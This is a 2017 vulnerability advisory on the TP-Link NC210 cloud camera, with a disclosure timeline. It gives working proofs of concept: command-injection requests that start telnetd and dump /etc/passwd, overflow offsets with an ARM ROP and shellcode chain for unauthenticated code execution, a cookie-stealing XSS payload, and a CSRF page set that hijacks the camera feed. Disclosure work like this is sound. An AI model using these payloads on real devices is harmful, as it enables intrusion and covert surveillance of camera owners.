TP-Link NC210 IP Camera - Security Advisory
Vulnerability | TP-LINK NC210 IP-camera (multiple vulnerabilities) |
---|---|
Discovered by | Robin Stenvi |
Release date | October 1, 2017 |
Affected products
Only one product has been tested, other products may be affected. The test was performed on the following:
- TP-LINK Cloud Camera NC210, firmware 1.0.4 Build 160412 Rel.27736
Severity
Below is a summary of vulnerabilities and risk:
- Authenticated command injection - run commands as root through the administrative web interface
- Buffer overflow - denial-of-service and potentially remote code execution, one of which is unauthenticated
- XSS - steal credentials and perform administration of the camera
- CSRF - hijack the camera and view its feed remotely
Technical Details
All the vulnerabilities were found in the binary: ‘/usr/local/sbin/ipcamera’.
Command Injection
Two command injection vulnerabilities were found, both can be exploited by an administrative user on the web interface.
Command injection 1 - settimezone.fcgi
The parameter ‘timezone’ in the request below is vulnerable to command
injection. The string after GMT-
will be used unfiltered as input to a
command.
POST /settimezone.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 53
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
timezone=GMT-[;cmd injection;]&area=Europe/Oslo&source=Android
Simplified pesudocode of what happens on the camera is shown below:
char* timezone = get_parameter("timezone");
char hours[16];
char gmt[24];
strcpy(hours, timezone + 4);
sprintf(gmt, "GMT-%s", hours);
exec("echo %s > %s", gmt, "/usr/local/etc/TZ");
void exec(char* c, ...) {
char cmd[0x400];
va_list arg;
va_start(arg, c);
vsnprintf(cmd, 0x400, c, arg);
system(cmd);
}
There is one significant restriction on this vulnerability, the maximum length of commands is 15 characters (excluding last zero-byte). Although this is a restriction, it is also a vulnerability as a buffer overflow is triggered if the string is longer (this is discussed later).
Command injection can be verified by starting a Telnet-server, the full request can be seen below:
POST /settimezone.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 53
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
timezone=GMT-;telnetd;&area=Europe/Oslo&source=Android
It was possible to verify the command with Nmap, however it was not possible to login. For an unknown reason, the Telnet-server would acknowledge the TCP-handshake and immediately close the connection.
Command injection 2 - iperf.cgi
The second command injection is in ‘iperf.cgi’ and the ‘ip’-parameter.
POST /iperf.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 79
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
op=client&ip=[;cmd injection;]&sec=1¶=1
Below is a request to read the file ‘/etc/passwd’ and output the data to a file we can read through the web server.
POST /iperf.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 79
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
op=client&ip=192.168.0.10;cat+/etc/passwd>>/usr/local/www/cmd.txt;&sec=1¶=1
The result indicates that no error occurred.
HTTP/1.1 200 OK
Content-Type: text/json
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 15
{"errorCode":0}
The result of the command can be retrieved by sending an unauthenticated request to the web server.
GET /cmd.txt HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/
Connection: close
The result contains the hashed password for the root-user.
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 51
Connection: close
Server: lighttpd/1.4.32-devel-27736
root:$1$$qRPK7m23GJusamGpoGLby/:0:0::/root:/bin/sh
Pseudocode for the vulnerable parts of the code is shown below:
char* ip = get_parameter("ip");
char* secStr = get_parameter("sec");
char* paraStr = get_parameter("para");
int sec = atoi(secStr);
int para = atoi(paraStr);
char cmd[0x80];
snprintf(cmd, 0x80, "iperf -c %s -t %d -f m -i 1 -P %d &", ip, sec, para);
system(cmd);
Buffer Overflow
Several buffer overflow vulnerabilities were found in the application.
Buffer Overflow 1 - Document Root
There is one buffer overflow in each of the three HTML-pages accessible in the root-folder. Each buffer overflow is triggered by a code like this, where DOCUMENT_ROOT is a GET-parameter:
char vulnerable[64];
sprintf(vulnerable, "%s%s", get_parameter("DOCUMENT_ROOT"), original_path);
‘original_path’ can be one of three strings, depending on which function is called:
- index.html
- guest.html
- login.html
Below are the buffers that must be sent in to overwrite all local variables with user-specified content and data after that will overwrite stored register R4, frame pointer (FP) and then program counter (PC).
NB! Note that 11 bytes are appended after the string we send in and therefore the buffers below will crash the program. The maximum data that can be sent in without crashing the program is the buffers below minus 11 characters (original_path + null-byte).
GET /index.html?DOCUMENT_ROOT=[64B][64B][64B][16B][4B][12B]
GET /guest.html?DOCUMENT_ROOT=[64B][64B][64B][16B][4B][12B]
GET /login.html?DOCUMENT_ROOT=[64B][64B][24B][12B]
Unauthenticated RCE
TL;DR: The vulnerability in login.html can be triggered by an unauthenticated user. The exploit developed below is a PoC, however because of ASLR, it is unreliable and will crash the application in most cases.
Since the page ‘login.html’ can be accessed from an unauthenticated user, this vulnerability was investigated further. The overflow was tested in gdb and the following offsets where verified:
| vulnerable | Other variables | Saved registers |
| 64B | 64B | 24B | 8B | R4 | R11/FP | PC |
At the end of the function, the following code is executed.
55958: e8bd8810 pop {r4, fp, pc}
In other words, after 160 bytes we start overwriting saved R4-register, then FP and finally PC-register which controls execution flow. In terms of exploiting this, below are the highlights:
- Stack is executable
- ASLR is used and affects all parts, except the executable’s own executable code, all these memory addresses contain an initial zero-byte
- Fast CGI is used and if the FCGI-binary crashes it will not be restarted by the web server immediately. The FCGI-process is checked and restarted about every 10 minutes.
- The pthread-library is used to provide a random stack-location at every CGI-call.
- The least random parts of the binary I found where in shared libraries.
Since the location of shared libraries seems most predictable, I decided to use these for ROP. I looked around on the stack and found the address to the query string, i.e. everything after ‘?’ in the URL. This value is placed at ‘SP + 48’. In other words, if we perform 11 pop operations and then pop PC we could use that address. The new exploit-URL is shown below:
GET /login.html?[shellcode]&DOCUMENT_ROOT=[Exploit]
The necessary code to perform 12 pop operations ending in ‘pop pc’ was found in several shared libraries, one is ‘/lib/libm-0.9.32.1.so’. The two operations below make up 12 pop operations where the last pop is program counter.
2260: e28dd010 add sp, sp, #16
2264: e8bd8f70 pop {r4, r5, r6, r8, r9, sl, fp, pc}
We now have a somewhat more reliable location to jump to, however there are some other considerations:
- The data in the new shellcode-location is not URL-decoded and therefore we are limited in which characters we can use. To allow exploitation from JavaScript, I will limit myself to printable ASCII characters.
- The memory location we jump to is actually minus 1 of where the shellcode is. The practical implications of this is that we need to ensure that the null-byte plus our shellcode does not create any damaging shellcode that breaks our future code.
Because only printable characters are allowed, this location is not used for the whole shellcode, but just another jump to the real shellcode. The real shellcode can be placed in the DOCUMENT_ROOT-parameter. The location of this shellcode after we have made the second jump is at ‘SP - 210’.
An example of how this code can be created with printable characters is shown below (first two instructions set up thumb mode and is not part of the shellcode):
$ arm-linux-gnueabi-as -mthumb b_js.s && arm-linux-gnueabi-objdump -d a.out
a.out: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f6001 add r6, pc, #1
4: e12fff16 bx r6
8: 466f mov r7, sp
a: 3f6e subs r7, #110 ; 0x6e
c: 3f6e subs r7, #110 ; 0x6e
e: 4738 bx r7
We can verify below that this contains no non-printable characters.
$ perl -e 'print "\x6f\x46\x6e\x3f\x6e\x3f\x38\x47"' | xxd
00000000: 6f46 6e3f 6e3f 3847 oFn?n?8G
The final exploit will look like this:
GET /login.html?AAAoFn?n?8G&DOCUMENT_ROOT=[URL-encoded shellcode + exploit]
The exploit was verified to work in a debugger, however it will not be stable unless the attacker knows the offset for the shared library used.
Buffer Overflow 2 - settimezone.fcgi
The vulnerable parameter is the ‘timezone’-parameter shown below. The maximum number of bytes that can be sent in before crashing the program is 19 bytes, when sending in 20 bytes, the program crashes.
POST /settimezone.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 61
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
timezone=[20B]&area=Europe/Oslo&source=Android
Pseudocode of the vulnerable parts were shown above, but is also included below:
char vulnerable[16];
char* timezone = get_parameter("timezone");
strcpy(vulnerable, (timezone + 4));
Cross-Site-Scripting (XSS)
The same vulnerability that causes the buffer overflow in ‘index.html’ and ‘guest.html’ can be used to trigger an XSS-vulnerability. The buffer the data is copied into can hold 64 bytes and after that, the data is copied into the user password which is printed back to the web page. The vulnerability is shown in the request below.
GET /index.html?DOCUMENT_ROOT=[64B]'><script>alert(document.cookie)</script> HTTP/1.1
A full example is also shown below:
GET /index.html?DOCUMENT_ROOT=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
'><script>alert(document.cookie)</script> HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
The request above returns a response like below:
HTTP/1.1 200 OK
Content-Type: text/html
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 222
<div id='token' style='display:none' value='1yxph57bxp5jftf'></div><div id='n'
style='display:none' value='admin'></div><div id='sec' style='display:none'
value='A'><script>alert(document.cookie)</script>index.html'></div>
The exploit was verified to work in Firefox.
Cross-Site-Request-Forgery (CSRF)
The camera can be connected to a cloud-account where it’s possible to view the camera’s feed remotely. In the local admin interface it is possible to change which account the camera should be connected to. The request to connect the camera to a different account has no CSRF-protection and can therefore be performed from a different domain.
The exploit is divided into two steps:
- Unbind the camera from current account.
- Connect camera to own account.
The HTTP-request to remove current account access to camera is shown below:
POST /cloud.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 14
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
command=unbind
The HTTP-request to connect camera feed to an account is shown below. Below is a description of the parameters:
- ‘username’ and ‘password’ must belong to a valid account registered at http://www.tplinkcloud.com/
- ‘cameraname’ should contain the name chosen when first configuring the camera, however the parameter can be removed.
- ‘token’ is a random token, presumably for CSRF protection, however it is not verified on the server. The token parameter must be present in the request, but it can be set to an empty value and the request will still be valid.
POST /cloud.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.10/index.html
Content-Type: application/x-www-form-urlencoded;charset=utf-8
Content-Length: 73
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
command=bind&username=[email]&password=[password]&cameraname=[camera name]
&token=[random token]
Without ‘cameraname’ and ‘token’ there are not other random or unpredictable elements in the form and therefore we are able to create a valid request from a different web site.
A simple PoC to unregister the account and then register a different account is shown below. The exploit is divided into three pages:
index.html
- Create iframes for the other two requestsunregister.html
- Perform request to unregister the current account. If no account is registered, nothing will happen.register.html
- Register a new account.
<!DOCTYPE html>
<!-- index.html -->
<html>
<body>
<div id="unregister"></div>
<div id="register"></div>
<script>
var unregIframe = "<iframe src='/unregister.html' width='0' height='0'></iframe>";
document.getElementById("unregister").innerHTML = unregIframe;
// Wait some time until account has been unregistered
setTimeout(function(){
var regIframe = "<iframe src='/register.html' width='0' height='0'></iframe>";
document.getElementById("register").innerHTML = regIframe;
}, 10000);
</script>
</body>
</html>
<!DOCTYPE html>
<!-- unregister.html -->
<html>
<body>
<form method="POST" action="http://192.168.0.10/cloud.fcgi" id="unregister">
<input type="text" name="command" value="unbind">
</form>
<script>
document.getElementById("unregister").submit();
</script>
</body>
</html>
<!DOCTYPE html>
<!-- register.html -->
<html>
<body>
<form method="POST" action="http://192.168.0.10/cloud.fcgi" id="register">
<input type="text" name="command" value="bind">
<input type="text" name="username" value="[email]">
<input type="text" name="password" value="[password]">
<input type="text" name="token" value="">
</form>
<script>
document.getElementById("register").submit();
</script>
</body>
</html>
After visiting the exploit hosted at ‘http://192.168.0.15/’, the following requests and responses are generated.
Unregister
POST /cloud.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.15/unregister.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
command=unbind
HTTP/1.1 200 OK
Content-Type: text/json
Content-Language: en
Connection: close
Date: Wed, 26 Jul 2017 12:55:38 GMT
Server: lighttpd/1.4.32-devel-27736
Content-Length: 39
{"errorCode":0, "status":3, "binded":0}
Register
POST /cloud.fcgi HTTP/1.1
Host: 192.168.0.10
Referer: http://192.168.0.15/register.html
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
Cookie: StreamAccount=admin; StreamPassword=[Base64 encoded password]; sess=zj56859s6xbv7id
Connection: close
Upgrade-Insecure-Requests: 1
command=bind&username=[email]&password=[password]&token=
HTTP/1.1 200 OK
Content-Type: text/json
Connection: close
Server: lighttpd/1.4.32-devel-27736
Content-Length: 39
{"errorCode":0, "status":2, "binded":1}
Transfer of the camera can be verified by authenticating to the account at https://www.tplinkcloud.com. The camera will now show up under the list of devices. From here it is also possible to view a live stream from the camera.
Timeline
- 30. July, 2017 - Vendor is contacted via web form for security vulnerabilities
-
2. August, 2017 - No response is provided by the vendor within the 1-3 days promised and vendor is contacted via chat for tech support. Full advisory is sent via email.
- 15. August, 2017 - No confirmation or response recceived from vendor, vendor is contacted again to confirm receipt of the report.
- 15. August, 2017 - Vendor confirms receipt of the report
- 15. August, 2017 - Vendor is contacted to clarify whether they intend to fix reported issues
- 20. August, 2017 - No response is received and vendor is contacted again to clarify whether they intend to fix reported issues
- 21. August, 2017 - Vendor confirms that they do not intend to fix reported issues as they claim those vulnerailities are not in the in the camera.
- 21. August, 2017 - Vendor is notified of public disclosure
- 21. August, 2017 - Vendor responds with confirmation that they do intend to fix the vulnerabilities.
- 22. August, 2017 - Vendor provides beta firmware for testing
- 23. August, 2017 - Vendor is notified that only half the vulnerabilities has been patched.
- 25. August, 2017 - Vendor confirms receipt of new report
- 30. August, 2017 - Vendor provides new beta firmware for testing
- 4. September, 2017 - Vendor is notified that the flaws have seemingly been fixed
- 1. October, 2017 - Public disclosure